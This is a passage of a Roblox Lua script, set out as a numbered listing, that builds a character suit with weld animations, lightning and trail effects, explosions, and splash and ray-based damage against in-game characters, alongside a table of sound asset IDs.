| 6628 | function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end | |
| 6629 | function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos)
| |
| 6630 | local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end | |
| 6631 | function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
| |
| 6632 | function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
| |
| 6633 | function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
| |
| 6634 | function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end | |
| 6635 | function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end | |
| 6636 | function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end | |
| 6637 | function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end | |
| 6638 | function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
| |
| 6639 | function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end | |
| 6640 | deb = function(ob,it) game:service'Debris':AddItem(ob,it) end | |
| 6641 | function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end
| |
| 6642 | function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
| |
| 6643 | Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness | |
| 6644 | local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs}
| |
| 6645 | for i=1,tym do | |
| 6646 | local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col)
| |
| 6647 | li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) | |
| 6648 | local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz | |
| 6649 | if tym == i then | |
| 6650 | local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2) | |
| 6651 | li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2) | |
| 6652 | else | |
| 6653 | li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2) | |
| 6654 | end | |
| 6655 | curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25) | |
| 6656 | end | |
| 6657 | end | |
| 6658 | function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) | |
| 6659 | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end
| |
| 6660 | sTrail={}
| |
| 6661 | function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob) | |
| 6662 | local oldpos=(ob.CFrame *ofz).p local lopz2=0 | |
| 6663 | local function Cobalt1164tr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1 | |
| 6664 | local mag=(oldpos - obp).magnitude | |
| 6665 | local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true | |
| 6666 | tr.CFrame=cn(oldpos,obp) | |
| 6667 | tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) | |
| 6668 | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
| |
| 6669 | q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) | |
| 6670 | tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end | |
| 6671 | repeat Cobalt1164tr() | |
| 6672 | w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz Cobalt1164tr() end) end | |
| 6673 | asset="http://www.roblox.com/asset/?id=" | |
| 6674 | table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end) | |
| 6675 | a={}
| |
| 6676 | a.ClickHold=0 | |
| 6677 | a.c=true -- weapon change or act debounce | |
| 6678 | a.s={}
| |
| 6679 | a.cr={20,1.5}
| |
| 6680 | ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
| |
| 6681 | Anim = "None" | |
| 6682 | mouse = nil | |
| 6683 | Sounds={
| |
| 6684 | Break="3264793"; | |
| 6685 | Berserk="2676305"; | |
| 6686 | Fire1="2760979"; | |
| 6687 | Imbue="2785493"; | |
| 6688 | Ghost="3264923"; | |
| 6689 | Block="rbxasset://sounds\\metal.ogg"; | |
| 6690 | Boom="16976189"; | |
| 6691 | SniperFire="1369158"; | |
| 6692 | ShotgunFire2="1868836"; | |
| 6693 | MinigunFire="2692806"; | |
| 6694 | MinigunCharge="2692844"; | |
| 6695 | MinigunDischarge="1753007"; | |
| 6696 | Flashbang="16976189"; | |
| 6697 | Beep="15666462"; | |
| 6698 | Smash="2801263"; | |
| 6699 | Punch="31173820"; | |
| 6700 | Slash="rbxasset://sounds/swordslash.wav"; | |
| 6701 | Falcon="1387390"; | |
| 6702 | Cast="2101137"; | |
| 6703 | Spin="1369159"; | |
| 6704 | Abscond="2767090"; | |
| 6705 | ElectricalCharge="2800815"; | |
| 6706 | FireExplosion="3264793"; | |
| 6707 | SaberLightUp="10209303"; | |
| 6708 | SaberSlash="10209280"; | |
| 6709 | SaberHit="44463749"; | |
| 6710 | EnergyBlast="10209268"; | |
| 6711 | Lunge="rbxasset://sounds/swordlunge.wav"; | |
| 6712 | Unsheath="rbxasset://sounds/unsheath.wav"; | |
| 6713 | } | |
| 6714 | wss = 16 | |
| 6715 | caw = true | |
| 6716 | pl = p.LocalPlayer | |
| 6717 | bp = pl.Backpack | |
| 6718 | pg = pl.PlayerGui | |
| 6719 | c = pl.Character | |
| 6720 | to = c.Torso | |
| 6721 | he = c.Head he.face.Face = "Bottom" | |
| 6722 | hu =c.Humanoid | |
| 6723 | q(function() bp[sn]:Remove() end) | |
| 6724 | local su = it("Model",c) su.Name = "Suit1"
| |
| 6725 | cl = "className" local caram = "CharacterMesh" | |
| 6726 | for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end | |
| 6727 | for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end | |
| 6728 | pcall(function() c.Block:Remove() end) | |
| 6729 | local block = qi({"BoolValue",c,Value=false,Name="Block"})
| |
| 6730 | local hd=he:Clone'' | |
| 6731 | to.Transparency = 1 | |
| 6732 | he.Transparency = 1 | |
| 6733 | a.Bodyas=0 | |
| 6734 | a.insw={}
| |
| 6735 | function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end | |
| 6736 | if namzi=="p0" then | |
| 6737 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then | |
| 6738 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then | |
| 6739 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then | |
| 6740 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0 | |
| 6741 | end | |
| 6742 | end | |
| 6743 | function ws(ii) | |
| 6744 | wss = ii | |
| 6745 | end | |
| 6746 | function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end | |
| 6747 | a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) | |
| 6748 | if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
| |
| 6749 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z | |
| 6750 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z | |
| 6751 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ() | |
| 6752 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx) | |
| 6753 | local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then | |
| 6754 | xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] | |
| 6755 | x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else | |
| 6756 | for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then | |
| 6757 | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) | |
| 6758 | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end | |
| 6759 | for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then | |
| 6760 | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) | |
| 6761 | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end | |
| 6762 | end | |
| 6763 | local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) | |
| 6764 | else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx) | |
| 6765 | if c0orc1==0 then | |
| 6766 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
| 6767 | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
| 6768 | elseif c0orc1==1 then | |
| 6769 | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
| 6770 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
| 6771 | elseif c0orc1==3 then | |
| 6772 | local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z | |
| 6773 | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) | |
| 6774 | local x,y,z=wexx.C1:toEulerAnglesXYZ() | |
| 6775 | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) | |
| 6776 | end end | |
| 6777 | to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to | |
| 6778 | --"http://www.roblox.com/asset?id=67168288" | |
| 6779 | tk = true | |
| 6780 | p={}
| |
| 6781 | t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor)) | |
| 6782 | la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0) | |
| 6783 | ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0) | |
| 6784 | ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0) | |
| 6785 | rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0) | |
| 6786 | local hd2 = hd:Clone() hd2.Parent = su hd2.Transparency = 0 hd2.face.Face = "Front" hd2.Name = "FakeHead" hw=weld(hd2,t,hd2,0,1.5,0,0,0,0) | |
| 6787 | hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0) | |
| 6788 | tw=weld(t,to,t,0,0,0,0,0,0) | |
| 6789 | local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = ""
| |
| 6790 | pcall(function() c.Shirt:Clone().Parent = su end) | |
| 6791 | lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"] | |
| 6792 | lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t | |
| 6793 | law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl)
| |
| 6794 | law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl | |
| 6795 | law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0) | |
| 6796 | la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1 | |
| 6797 | c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0 | |
| 6798 | c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0 | |
| 6799 | Armb=true Armb2=true | |
| 6800 | Legb=true Legb2=true | |
| 6801 | function Armz(ison) Armb=ison if ison then | |
| 6802 | law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0) | |
| 6803 | ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra | |
| 6804 | else | |
| 6805 | law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"] | |
| 6806 | ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0) | |
| 6807 | end end | |
| 6808 | function Legz(ison) Legb=ison if ison then | |
| 6809 | llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0) | |
| 6810 | lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl | |
| 6811 | else | |
| 6812 | llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"] | |
| 6813 | lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0) | |
| 6814 | end end function Headz(ison) if ison then he.Transparency=0 else end end | |
| 6815 | Armz(true) Legz(true) --newhats(c,hd2,he) | |
| 6816 | hax2sazc = "BUTTSEXSYSTEM" | |
| 6817 | function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
| |
| 6818 | Sound("Your_F*cking_Name_here",1,1,he)
| |
| 6819 | function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function() | |
| 6820 | local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end | |
| 6821 | if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end
| |
| 6822 | --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc
| |
| 6823 | else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
| |
| 6824 | end end -- func and loop end | |
| 6825 | dive(workspace) dive(workspace.CurrentCamera) end) end | |
| 6826 | for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end | |
| 6827 | function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
| |
| 6828 | function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function() | |
| 6829 | local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
| |
| 6830 | if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end | |
| 6831 | for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end) | |
| 6832 | end | |
| 6833 | function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825 | |
| 6834 | local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring
| |
| 6835 | local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring
| |
| 6836 | local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown
| |
| 6837 | SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do | |
| 6838 | e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w() | |
| 6839 | end | |
| 6840 | end) end | |
| 6841 | function splat2(pos,dmge) | |
| 6842 | local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
| |
| 6843 | dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
| |
| 6844 | dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end | |
| 6845 | local DBDH={}
| |
| 6846 | function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
| |
| 6847 | local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end) | |
| 6848 | end) end | |
| 6849 | function rayHit(wai,Cobalt1164k,wepCobalt1164,adjus,magz,tim) local DebounceTable2={} q(function()
| |
| 6850 | local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end) | |
| 6851 | repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999) | |
| 6852 | repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end | |
| 6853 | bhit,bpos=ray((wepCobalt1164.CFrame *adjus *cn(xx,yy,-0.8)).p,wepCobalt1164.Position - (wepCobalt1164.CFrame *adjus *cn(0,0,2)).p) | |
| 6854 | if bhit ~= nil and (bpos - wepCobalt1164.Position).magnitude < magz+0.8 then break end until tries > 8 | |
| 6855 | if bhit==nil or (bpos - wepCobalt1164.Position).magnitude > magz+0.8 then else local brea=false | |
| 6856 | for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim | |
| 6857 | if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
| |
| 6858 | if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim | |
| 6859 | if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
| |
| 6860 | end | |
| 6861 | end until hitx >= Cobalt1164k or tymzup end) end | |
| 6862 | function GetRegion(p0,p1,f,f2) q(function() | |
| 6863 | for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end
| |
| 6864 | end) end | |
| 6865 | function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ() | |
| 6866 | local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0))) | |
| 6867 | if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end | |
| 6868 | function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end | |
| 6869 | local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0))) | |
| 6870 | if bhit and bpos then | |
| 6871 | for i=1,tyms do q(function() | |
